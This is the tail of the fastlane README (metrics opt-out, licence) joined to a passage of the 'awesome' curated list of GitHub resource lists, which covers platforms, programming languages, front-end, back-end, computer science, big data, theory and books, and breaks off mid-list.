Metrics _fastlane_ tracks a few key metrics to understand how developers are using the tool and to help us know what areas need improvement. No personal/sensitive information is ever collected. Metrics that are collected include: * The number of _fastlane_ runs * A salted hash of the app identifier or package name, which helps us anonymously identify unique usage of _fastlane_ You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics) ## License This project is licensed under the terms of the MIT license. See the [LICENSE](LICENSE) file. > This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools. <hr /> <h2 align="center"> ✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨ </h2> <hr />

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As a result team members can instantly start coding with fresh dev environments <br> for each new task - no matter if you are building a new feature, want to fix a bug, or work on a code review.} </div> </a> <br> <br> <br> <br> <a href="https://getstream.io/chat/sdk/ios/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Jan2022_iOSChatSDK&utm_term=Sindresorhus#gh-light-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/stream-logo.svg" width="220" alt="Stream"> </div> <br> <div> <b>Build Scalable Feeds & Chat Applications with Powerful APIs and Front End Components</b> </div> </a> <a href="https://getstream.io/chat/sdk/ios/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Jan2022_iOSChatSDK&utm_term=Sindresorhus#gh-dark-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/stream-logo-dark.svg" width="220" alt="Stream"> </div> <br> <div> <b>Build Scalable Feeds & Chat Applications with Powerful APIs and Front End Components</b> </div> </a> <br> <br> <br> <a href="https://www.useanvil.com/?utm_source=sindresorhus#gh-light-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/anvil-logo-light.svg" width="200" alt="Anvil"> </div> <br> <b>Paperwork that makes the data work.</b> <div> _{Easy APIs for paperwork. PDF generation, e-signature and embeddable no-code webforms. <br> The easiest way to build paperwork automation into your product.} </div> </a> <a href="https://www.useanvil.com/?utm_source=sindresorhus#gh-dark-mode-only"> <div> <img src="https://sindresorhus.com/assets/thanks/anvil-logo-dark.svg" width="200" alt="Anvil"> </div> <br> <b>Paperwork that makes the data work.</b> <div> _{Easy APIs for paperwork. PDF generation, e-signature and embeddable no-code webforms. <br> The easiest way to build paperwork automation into your product.} </div> </a> <br> <br> <br> <a href="https://sizzy.co/?utm_campaign=github_repo&utm_source=github&utm_medium=referral&utm_content=awesome&utm_term=sindre"> <div> <img src="https://sindresorhus.com/assets/thanks/sizzy-logo.png" width="240" alt="Sizzy"> </div> <div> _{<b>Before Sizzy:</b> web development is stressing you out, responsive design is hard, you have an overwhelming amount of opened tabs & apps. <br> <b>After Sizzy:</b> all the tools you need in one place, responsive design is a breeze, no more context switching.} </div> </a> <br> <br> </p> <hr> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://sindresorhus.com/apps">apps</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Health and Social Science](#health-and-social-science) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/inputsh/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions. - macOS - Operating system for Apple's Mac computers. - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. - [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s. - [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible. - [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole. - [Node-RED](https://github.com/naimo84/awesome-nodered#readme) - A programming tool for wiring together hardware devices, APIs, and online services. - [Low Code](https://github.com/zenitysec/awesome-low-code#readme) - Allowing business professionals to address their needs on their own with little to no coding skills. - [Capacitor](https://github.com/riderx/awesome-capacitor#readme) - Cross-platform open source runtime for building Web Native apps. - [ArcGIS Developer](https://github.com/Esri/awesome-arcgis-developer#readme) - Mapping and location analysis platform for developers. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/inputsh/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/dlang-community/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. - [Zig](https://github.com/catdevnull/awesome-zig#readme) - General-purpose programming language and toolchain for maintaining robust, optimal, and reusable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - JavaScript library for building user interfaces. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - Lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [lit](https://github.com/web-padawan/awesome-lit#readme) - Library for building web components with a declarative template system. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. - [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework. - [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed. - [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API. - [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites. ## Back-End Development - [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. - [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code. - [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization. - [Slim](https://github.com/nekofar/awesome-slim#readme) - PHP framework. - [Fiber](https://github.com/gofiber/awesome-fiber#readme) - Web framework built on top of Fasthttp, the fastest HTTP engine for Go. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research. - [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. - [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique. - [Conversational AI](https://github.com/jyguyomarch/awesome-conversational-ai#readme) - Build awesome chatbots and digital assistants. ## Big Data - [Big Data](https://github.com/0xnr/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. - [Audit Algorithms](https://github.com/erwanlemerrer/awesome-audit-algorithms#readme) - Algorithmic audits of algorithms. - [AGI & CoCoSci](https://github.com/YuzheSHI/awesome-agi-cocosci#readme) - The reciprocation of Artificial General Intelligence (AGI) and Computational Cognitive Sciences (CoCoSci). ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) 